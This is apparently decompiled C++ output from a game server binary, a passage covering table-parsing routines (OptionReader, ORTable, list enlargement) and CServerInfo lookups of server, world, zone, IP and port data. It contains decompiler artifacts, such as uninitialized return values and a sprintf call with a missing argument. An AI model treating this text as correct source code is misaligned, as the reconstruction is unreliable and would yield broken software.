RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle) { RecordDataCompareArgument *v3; // esi@1 char *v4; // ST04_4@1 int v5; // eax@2 char result; // al@4 int arg; // [sp+Ch] [bp-34h]@1 ORToken *v8; // [sp+10h] [bp-30h]@1 char *v9; // [sp+14h] [bp-2Ch]@1 char v10[4]; // [sp+18h] [bp-28h]@1 int v11; // [sp+1Ch] [bp-24h]@1 int v12; // [sp+20h] [bp-20h]@1 int v13; // [sp+24h] [bp-1Ch]@1 int v14; // [sp+28h] [bp-18h]@1 char v15; // [sp+2Ch] [bp-14h]@1 unsigned int v16; // [sp+30h] [bp-10h]@1 int v17; // [sp+3Ch] [bp-4h]@1 v3 = this; v16 = (unsigned int)&arg ^ __security_cookie; v4 = this->rdca_content; arg = (int)ColumnCheckArgument::_vftable_; v8 = &this->rdca_column; v9 = v4; v14 = 0; v13 = 0; v12 = 0; v11 = 0; *(_DWORD *)v10 = 0; strncpy(v10, v4, 0x14u); v15 = 0; v17 = 0; ORRecord::orr_4AllInList(ele, (ListIteratorDefault *)&arg); if ( v15 ) { v5 = v3->rdca_skip; if ( v5 <= 0 ) v3->rdca_record = ele; else v3->rdca_skip = v5 - 1; } __security_check_cookie((unsigned int)&arg ^ v16); return result; } // 687F54: using guessed type int (__stdcall *ColumnCheckArgument___vftable_[4])(int ele, __int16 handle); //----- (005E3160) -------------------------------------------------------- void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this) { ORColumnHeaderList *v1; // edi@1 signed int v2; // esi@1 ORColumnHeader *v3; // ecx@2 void *v4; // ecx@3 v1 = this; v2 = 0; do { v3 = v1->orchl_fieldname[v2]; if ( v3 ) { ORColumnHeader::_ORColumnHeader(v3); operator delete(v4); } ++v2; } while ( v2 < 512 ); } //----- (005E3190) -------------------------------------------------------- char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column) { ORTable *v2; // esi@1 ORKeyList *v3; // edi@1 void *v4; // eax@3 int v5; // eax@4 int v6; // edi@4 void *v7; // edi@8 char result; // al@11 void *v9; // [sp+10h] [bp-30h]@1 int arg; // [sp+14h] [bp-2Ch]@7 char v11[4]; // [sp+18h] [bp-28h]@7 int v12; // [sp+1Ch] [bp-24h]@7 int v13; // [sp+20h] [bp-20h]@7 int v14; // [sp+24h] [bp-1Ch]@7 int v15; // [sp+28h] [bp-18h]@7 int v16; // [sp+2Ch] [bp-14h]@7 unsigned int v17; // [sp+30h] [bp-10h]@1 int v18; // [sp+3Ch] [bp-4h]@3 v2 = this; v3 = this->ort_PrimaryKey; v17 = (unsigned int)&v9 ^ __security_cookie; if ( v3 ) { ORKeyList::_ORKeyList(v3); operator delete(v3); } v4 = operator new(0x6004u); v9 = v4; v18 = 0; if ( v4 ) { ORKeyList::ORKeyList((ORKeyList *)v4); v6 = v5; } else { v6 = 0; } v18 = -1; v2->ort_PrimaryKey = (ORKeyList *)v6; if ( v6 ) { arg = (int)MakePrimaryKey::_vftable_; v15 = 0; v14 = 0; v13 = 0; v12 = 0; *(_DWORD *)v11 = 0; strncpy(v11, column, 0x14u); v16 = v6; v18 = 1; List::l_4AllInList((List *)&v2->ort_DataRecord, (ListIteratorDefault *)&arg); if ( !ORKeyList::okl_Sorting(v2->ort_PrimaryKey) ) { v7 = v2->ort_PrimaryKey; if ( v7 ) { ORKeyList::_ORKeyList(v2->ort_PrimaryKey); operator delete(v7); } v2->ort_PrimaryKey = 0; } } __security_check_cookie((unsigned int)&v9 ^ v17); return result; } // 687F28: using guessed type int (__stdcall *MakePrimaryKey___vftable_[3])(int ele, __int16 handle); //----- (005E32C0) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token) { int (__stdcall **arg)(int, __int16); // [sp+0h] [bp-14h]@1 ORTokenReader *v4; // [sp+4h] [bp-10h]@1 int v5; // [sp+10h] [bp-4h]@1 arg = &ColumnNameArgument::_vftable_; v4 = token; v5 = 0; return ORRecord::orr_4AllInList((ORRecord *)&this->ort_HeaderList, (ListIteratorDefault *)&arg); } // 687F30: using guessed type int (__stdcall *ColumnNameArgument___vftable_)(int ele, __int16 handle); //----- (005E3310) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type) { ORRecord *v3; // edi@1 void *result; // eax@1 int arg; // [sp+8h] [bp-30h]@1 char v6[4]; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+10h] [bp-28h]@1 int v8; // [sp+14h] [bp-24h]@1 int v9; // [sp+18h] [bp-20h]@1 int v10; // [sp+1Ch] [bp-1Ch]@1 int v11; // [sp+20h] [bp-18h]@1 int *v12; // [sp+24h] [bp-14h]@1 unsigned int v13; // [sp+28h] [bp-10h]@1 int v14; // [sp+34h] [bp-4h]@1 v13 = (unsigned int)&arg ^ __security_cookie; v3 = this; arg = (int)TargetColumnFindArgument::_vftable_; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, targetcolumn, 0x14u); v11 = 0; v12 = type; v14 = 0; ORRecord::orr_4AllInList(v3, (ListIteratorDefault *)&arg); __security_check_cookie((unsigned int)&arg ^ v13); return result; } // 687F58: using guessed type int (__stdcall *TargetColumnFindArgument___vftable_[3])(int ele, __int16 handle); //----- (005E33B0) -------------------------------------------------------- void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type) { ORTable *v6; // edi@1 void *result; // eax@3 int arg; // [sp+10h] [bp-34h]@1 char v9[4]; // [sp+14h] [bp-30h]@1 int v10; // [sp+18h] [bp-2Ch]@1 int v11; // [sp+1Ch] [bp-28h]@1 int v12; // [sp+20h] [bp-24h]@1 int v13; // [sp+24h] [bp-20h]@1 char *v14; // [sp+28h] [bp-1Ch]@1 ORRecord *thisa; // [sp+2Ch] [bp-18h]@1 int v16; // [sp+30h] [bp-14h]@1 unsigned int v17; // [sp+34h] [bp-10h]@1 int v18; // [sp+40h] [bp-4h]@1 v17 = (unsigned int)&arg ^ __security_cookie; v6 = this; arg = (int)RecordDataCompareArgument::_vftable_; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)v9 = 0; strncpy(v9, column, 0x14u); v14 = content; thisa = 0; v16 = skip; v18 = 0; List::l_4AllInList((List *)&v6->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) ORRecord::orr_GetFieldData(thisa, targetcolumn, type); __security_check_cookie((unsigned int)&arg ^ v17); return result; } // 687F5C: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (005E3470) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order) { void *result; // eax@2 int arg; // [sp+0h] [bp-18h]@1 int v4; // [sp+4h] [bp-14h]@1 ORRecord *thisa; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 arg = (int)OrderArgument::_vftable_; v4 = order; thisa = 0; v6 = 0; List::l_4AllInList((List *)&this->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) result = ORRecord::orr_GetBuffer(thisa); else result = 0; return result; } // 687F2C: using guessed type int (__stdcall *OrderArgument___vftable_[2])(int ele, __int16 handle); //----- (005E34F0) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip) { ORTable *v4; // edi@1 void *result; // eax@3 int arg; // [sp+8h] [bp-34h]@1 char v7[4]; // [sp+Ch] [bp-30h]@1 int v8; // [sp+10h] [bp-2Ch]@1 int v9; // [sp+14h] [bp-28h]@1 int v10; // [sp+18h] [bp-24h]@1 int v11; // [sp+1Ch] [bp-20h]@1 char *v12; // [sp+20h] [bp-1Ch]@1 ORRecord *thisa; // [sp+24h] [bp-18h]@1 int v14; // [sp+28h] [bp-14h]@1 unsigned int v15; // [sp+2Ch] [bp-10h]@1 int v16; // [sp+38h] [bp-4h]@1 v15 = (unsigned int)&arg ^ __security_cookie; v4 = this; arg = (int)RecordDataCompareArgument::_vftable_; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)v7 = 0; strncpy(v7, column, 0x14u); v12 = content; thisa = 0; v14 = skip; v16 = 0; List::l_4AllInList((List *)&v4->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) ORRecord::orr_GetBuffer(thisa); __security_check_cookie((unsigned int)&arg ^ v15); return result; } // 687F5C: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (005E35A0) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v5; // [sp+4h] [bp-28h]@1 int v6; // [sp+8h] [bp-24h]@1 int v7; // [sp+Ch] [bp-20h]@1 int v8; // [sp+10h] [bp-1Ch]@1 int v9; // [sp+14h] [bp-18h]@1 ORTable *thisa; // [sp+18h] [bp-14h]@1 unsigned int v11; // [sp+1Ch] [bp-10h]@1 int v12; // [sp+28h] [bp-4h]@1 v11 = (unsigned int)&tname ^ __security_cookie; v5 = *(_DWORD *)&table; v6 = *(_DWORD *)&table.ort_Name[4]; v7 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v8 = *(_DWORD *)&table.ort_Name[12]; v9 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v12 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_RecordBuffer(thisa, order); __security_check_cookie((unsigned int)&tname ^ v11); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E3650) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type) { ORKeyList *v5; // ecx@2 ORKeyList **v6; // esi@2 ORRecord *v7; // eax@5 void *result; // eax@6 int (__stdcall **tname)(int, __int16); // [sp+10h] [bp-2Ch]@1 int v10; // [sp+14h] [bp-28h]@1 int v11; // [sp+18h] [bp-24h]@1 int v12; // [sp+1Ch] [bp-20h]@1 int v13; // [sp+20h] [bp-1Ch]@1 int v14; // [sp+24h] [bp-18h]@1 int v15; // [sp+28h] [bp-14h]@1 unsigned int v16; // [sp+2Ch] [bp-10h]@1 int v17; // [sp+38h] [bp-4h]@1 v16 = (unsigned int)&tname ^ __security_cookie; v10 = *(_DWORD *)&table; v11 = *(_DWORD *)&table.ort_Name[4]; v12 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v13 = *(_DWORD *)&table.ort_Name[12]; v14 = *(_DWORD *)&table.ort_Name[16]; v15 = 0; v17 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( v15 ) { v5 = *(ORKeyList **)(v15 + 2104); v6 = (ORKeyList **)(v15 + 2104); if ( v5 ) { if ( ORKeyList::okl_Searching(v5, key) ) { v7 = ORKeyList::okl_Searching(*v6, key); ORRecord::orr_GetFieldData(v7, targetcolumn, type); } } } __security_check_cookie((unsigned int)&tname ^ v16); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E3730) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+8h] [bp-2Ch]@1 int v7; // [sp+Ch] [bp-28h]@1 int v8; // [sp+10h] [bp-24h]@1 int v9; // [sp+14h] [bp-20h]@1 int v10; // [sp+18h] [bp-1Ch]@1 int v11; // [sp+1Ch] [bp-18h]@1 ORTable *thisa; // [sp+20h] [bp-14h]@1 unsigned int v13; // [sp+24h] [bp-10h]@1 int v14; // [sp+30h] [bp-4h]@1 v13 = (unsigned int)&tname ^ __security_cookie; v7 = *(_DWORD *)&table; v8 = *(_DWORD *)&table.ort_Name[4]; v9 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v10 = *(_DWORD *)&table.ort_Name[12]; v11 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v14 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_RecordBuffer(thisa, column, content, skip); __security_check_cookie((unsigned int)&tname ^ v13); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E37F0) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+10h] [bp-2Ch]@1 int v9; // [sp+14h] [bp-28h]@1 int v10; // [sp+18h] [bp-24h]@1 int v11; // [sp+1Ch] [bp-20h]@1 int v12; // [sp+20h] [bp-1Ch]@1 int v13; // [sp+24h] [bp-18h]@1 ORTable *thisa; // [sp+28h] [bp-14h]@1 unsigned int v15; // [sp+2Ch] [bp-10h]@1 int v16; // [sp+38h] [bp-4h]@1 v15 = (unsigned int)&tname ^ __security_cookie; v9 = *(_DWORD *)&table; v11 = *(_DWORD *)&table.ort_Name[8]; v10 = *(_DWORD *)&table.ort_Name[4]; v13 = *(_DWORD *)&table.ort_Name[16]; tname = &TableNameCompareArgument::_vftable_; v12 = *(_DWORD *)&table.ort_Name[12]; thisa = 0; v16 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_FindData(thisa, column, content, targetcolumn, skip, type); __security_check_cookie((unsigned int)&tname ^ v15); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E38B0) -------------------------------------------------------- char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column) { char result; // al@3 int (__stdcall **tname)(int, __int16); // [sp+4h] [bp-2Ch]@1 int v5; // [sp+8h] [bp-28h]@1 int v6; // [sp+Ch] [bp-24h]@1 int v7; // [sp+10h] [bp-20h]@1 int v8; // [sp+14h] [bp-1Ch]@1 int v9; // [sp+18h] [bp-18h]@1 ORTable *thisa; // [sp+1Ch] [bp-14h]@1 unsigned int v11; // [sp+20h] [bp-10h]@1 int v12; // [sp+2Ch] [bp-4h]@1 v11 = (unsigned int)&tname ^ __security_cookie; v5 = *(_DWORD *)&table; v6 = *(_DWORD *)&table.ort_Name[4]; v7 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v8 = *(_DWORD *)&table.ort_Name[12]; v9 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v12 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_MakePrimaryKey(thisa, column); __security_check_cookie((unsigned int)&tname ^ v11); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E3960) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCount(OptionReader *this) { return this->or_TableList.l_ListNum; } //----- (005E3970) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+4h] [bp-14h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(2056 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x808u, v6, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_(v8, 0x808u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { ORRecord::l_Clone((ORRecord *)((char *)extsizea + v10 * 2056), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 2056; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_(v20, 0x808u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v21); } v2->l_ListArray->la_Array = (ORRecord *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (005E3C00) -------------------------------------------------------- char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token) { ORTable *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // edi@2 char result; // al@4 int v7; // eax@5 int arg; // [sp+Ch] [bp-18h]@8 ORTokenReader *v9; // [sp+10h] [bp-14h]@8 int v10; // [sp+14h] [bp-10h]@8 int v11; // [sp+20h] [bp-4h]@8 v2 = this; v3 = (char *)&this->ort_DataRecord; v4 = this->ort_DataRecord.l_Finger.empty; if ( (_WORD)v4 != -1 ) { v5 = (*(int (__thiscall **)(List *, int))(*(_DWORD *)v3 + 4))(&this->ort_DataRecord, v4); if ( v5 ) goto LABEL_11; } if ( !List::l_Enlargement((List *)v3, 8) ) { ORTokenReader::ortr_SetError(token, "Too many records"); return 0; } v7 = *((_WORD *)v3 + 6); if ( (_WORD)v7 != -1 && (v5 = (*(int (__thiscall **)(char *, int))(*(_DWORD *)v3 + 4))(v3, v7)) != 0 ) { LABEL_11: ORRecord::orr_MakeBuffer((ORRecord *)v5, v2->ort_RecordLength); arg = (int)DataRecordArgument::_vftable_; v9 = token; v10 = v5; v11 = 0; result = ORRecord::orr_4AllInList((ORRecord *)&v2->ort_HeaderList, (ListIteratorDefault *)&arg); } else { ORTokenReader::ortr_SetError(token, "Record alloc error after list enlargement"); result = 0; } return result; } // 687F50: using guessed type int (__stdcall *DataRecordArgument___vftable_[5])(int ele, __int16 handle); //----- (005E3D00) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // edi@1 char *v3; // eax@1 char result; // al@4 char *v5; // [sp-4h] [bp-50h]@2 char table[4]; // [sp+Ch] [bp-40h]@1 int v7; // [sp+10h] [bp-3Ch]@5 int v8; // [sp+14h] [bp-38h]@5 int v9; // [sp+18h] [bp-34h]@5 int v10; // [sp+1Ch] [bp-30h]@5 int (__stdcall **tname)(int, __int16); // [sp+20h] [bp-2Ch]@5 int v12; // [sp+24h] [bp-28h]@5 int v13; // [sp+28h] [bp-24h]@5 int v14; // [sp+2Ch] [bp-20h]@5 int v15; // [sp+30h] [bp-1Ch]@5 int v16; // [sp+34h] [bp-18h]@5 ORTable *thisa; // [sp+38h] [bp-14h]@5 unsigned int v18; // [sp+3Ch] [bp-10h]@1 int v19; // [sp+48h] [bp-4h]@5 v2 = this; v18 = (unsigned int)table ^ __security_cookie; v3 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v3 ) { v5 = "#recordin has no table name"; LABEL_3: ORErrorMessage::operator_(&v2->or_Argument.errmsg, v5); goto LABEL_4; } v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)table = 0; strncpy(table, v3, 0x14u); v12 = *(_DWORD *)table; v13 = v7; tname = &TableNameCompareArgument::_vftable_; v14 = v8; v15 = v9; v16 = v10; thisa = 0; v19 = 0; List::l_4AllInList(&v2->or_TableList, (ListIteratorDefault *)&tname); if ( !thisa ) { v5 = "Unknown table name"; goto LABEL_3; } if ( ORTable::ort_ReadData(thisa, token) ) !ORTokenReader::ortr_isEOL(token); LABEL_4: __security_check_cookie((unsigned int)table ^ v18); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E3E10) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadData(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "Record without table"); result = 0; } return result; } //----- (005E3E60) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip) { OptionReader *v5; // esi@1 _BYTE v6[20]; // ST00_20@1 char buf[16]; // [sp+8h] [bp-14h]@1 unsigned int v9; // [sp+18h] [bp-4h]@1 v9 = (unsigned int)buf ^ __security_cookie; v5 = this; sprintf(buf, "%d"); *(_DWORD *)v6 = *(_DWORD *)&table; *(_QWORD *)&v6[4] = *(_QWORD *)&table.ort_Name[4]; *(_QWORD *)&v6[12] = *(_QWORD *)&table.ort_Name[12]; return OptionReader::or_SelectFrom(v5, *(ORToken *)v6, column, buf, skip); } //----- (005E3EE0) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type) { OptionReader *v7; // esi@1 _BYTE v8[20]; // ST04_20@1 char buf[16]; // [sp+10h] [bp-14h]@1 unsigned int v11; // [sp+20h] [bp-4h]@1 v11 = (unsigned int)buf ^ __security_cookie; v7 = this; sprintf(buf, "%d"); *(_DWORD *)v8 = *(_DWORD *)&table; *(_QWORD *)&v8[4] = *(_QWORD *)&table.ort_Name[4]; *(_QWORD *)&v8[12] = *(_QWORD *)&table.ort_Name[12]; return OptionReader::or_Select(v7, targetcolumn, *(ORToken *)v8, column, buf, skip, type); } //----- (005E3F70) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table) { int result; // eax@1 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v4; // [sp+4h] [bp-28h]@1 int v5; // [sp+8h] [bp-24h]@1 int v6; // [sp+Ch] [bp-20h]@1 int v7; // [sp+10h] [bp-1Ch]@1 int v8; // [sp+14h] [bp-18h]@1 int v9; // [sp+18h] [bp-14h]@1 unsigned int v10; // [sp+1Ch] [bp-10h]@1 int v11; // [sp+28h] [bp-4h]@1 v10 = (unsigned int)&tname ^ __security_cookie; v4 = *(_DWORD *)&table; v5 = *(_DWORD *)&table.ort_Name[4]; v6 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v7 = *(_DWORD *)&table.ort_Name[12]; v8 = *(_DWORD *)&table.ort_Name[16]; v9 = 0; v11 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); __security_check_cookie((unsigned int)&tname ^ v10); return result; } // 687F60: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005E4010) -------------------------------------------------------- void __thiscall CServerInfo::CServerInfo(CServerInfo *this) { CCsl::CCsl(&this->m_Csl); } //----- (005E4020) -------------------------------------------------------- int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN) { CCsl *v2; // esi@1 v2 = (CCsl *)this; CCsl::Clear(&this->m_Csl); return CCsl::ReadScript(v2, pFN, 0, 0x401u, 0); } //----- (005E4060) -------------------------------------------------------- int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer) { CCsl *v2; // edi@1 int v3; // ebx@1 int v4; // esi@1 int result; // eax@4 v2 = (CCsl *)this; v3 = CCsl::GetNumDatas(&this->m_Csl); v4 = 0; if ( v3 <= 0 ) { LABEL_4: result = 0; } else { while ( CCsl::GetDataInfo(v2, v4)->dwID ) { ++v4; if ( v4 >= v3 ) goto LABEL_4; } pMyServer->pServiceName = (char *)CCsl::GetData(v2, v4, 0); pMyServer->pDisplayName = (char *)CCsl::GetData(v2, v4, 1); pMyServer->nServerID = *(_DWORD *)CCsl::GetData(v2, v4, 2); pMyServer->nWorldNo = *(_DWORD *)CCsl::GetData(v2, v4, 3); pMyServer->nZoneNo = *(_DWORD *)CCsl::GetData(v2, v4, 4); result = 1; } return result; } //----- (005E40F0) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex) { CCsl *v3; // esi@1 int result; // eax@2 v3 = (CCsl *)this; if ( CCsl::GetDataInfo(&this->m_Csl, ScriptorDataIndex)->dwID == 3 ) { pServerInfo->pName = (char *)CCsl::GetData(v3, ScriptorDataIndex, 0); pServerInfo->nServerID = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 1); pServerInfo->nWorldNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 2); pServerInfo->nZoneNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 3); pServerInfo->nServerIDFrom = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 4); pServerInfo->pIP = (char *)CCsl::GetData(v3, ScriptorDataIndex, 5); pServerInfo->nPort = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 6); pServerInfo->nBackLog = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 7); pServerInfo->nMaxAccept = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 8); result = 1; } else { result = 0; } return result; } //----- (005E41A0) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v5; // edi@1 int v6; // ebx@1 int v7; // esi@1 int result; // eax@8 char ServerInfo; // [sp+10h] [bp-24h]@2 int v10; // [sp+14h] [bp-20h]@3 int v11; // [sp+18h] [bp-1Ch]@4 int v12; // [sp+1Ch] [bp-18h]@5 int v13; // [sp+20h] [bp-14h]@6 v5 = this; v6 = CCsl::GetNumDatas(&this->m_Csl); v7 = 0; if ( v6 <= 0 ) { LABEL_8: result = -1; } else { while ( !CServerInfo::GetServerInfo(v5, (CServerInfo::SERVER_INFO *)&ServerInfo, v7) || ServerID != v10 || WorldNo != v11 || ZoneNo != v12 || ServerIDFrom != v13 ) { ++v7; if ( v7 >= v6 ) goto LABEL_8; } result = v7; } return result; } //----- (005E4220) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v4; // edi@1 int v5; // ebx@1 int v6; // esi@1 int result; // eax@7 char ServerInfo; // [sp+10h] [bp-24h]@2 int v9; // [sp+14h] [bp-20h]@3 int v10; // [sp+18h] [bp-1Ch]@4 int v11; // [sp+1Ch] [bp-18h]@5 v4 = this; v5 = CCsl::GetNumDatas(&this->m_Csl); v6 = 0; if ( v5 <= 0 ) { LABEL_7: result = -1; } else { while ( !CServerInfo::GetServerInfo(v4, (CServerInfo::SERVER_INFO *)&ServerInfo, v6) || ServerID != v9 || WorldNo != v10 || ZoneNo != v11 ) { ++v6; if ( v6 >= v5 ) goto LABEL_7; } result = v6; } return result; } //----- (005E4290) -------------------------------------------------------- int __thiscall CServerInfo::GetNationName(CServerInfo *this, CServerInfo::NATION_NAME *pNationName) { CCsl *v2; // edi@1 int v3; // ebx@1 int v4; // esi@1 int result; // eax@4 v2 = (CCsl *)this; v3 = CCsl::GetNumDatas(&this->m_Csl); v4 = 0; if ( v3 <= 0 ) { LABEL_4: result = 0; } else { while ( CCsl::GetDataInfo(v2, v4)->dwID != 1 ) { ++v4; if ( v4 >= v3 ) goto LABEL_4; } pNationName->pNationName = (const char *)CCsl::GetData(v2, v4, 0); result = 1; } return result; } //----- (005E42E0) -------------------------------------------------------- int __thiscall 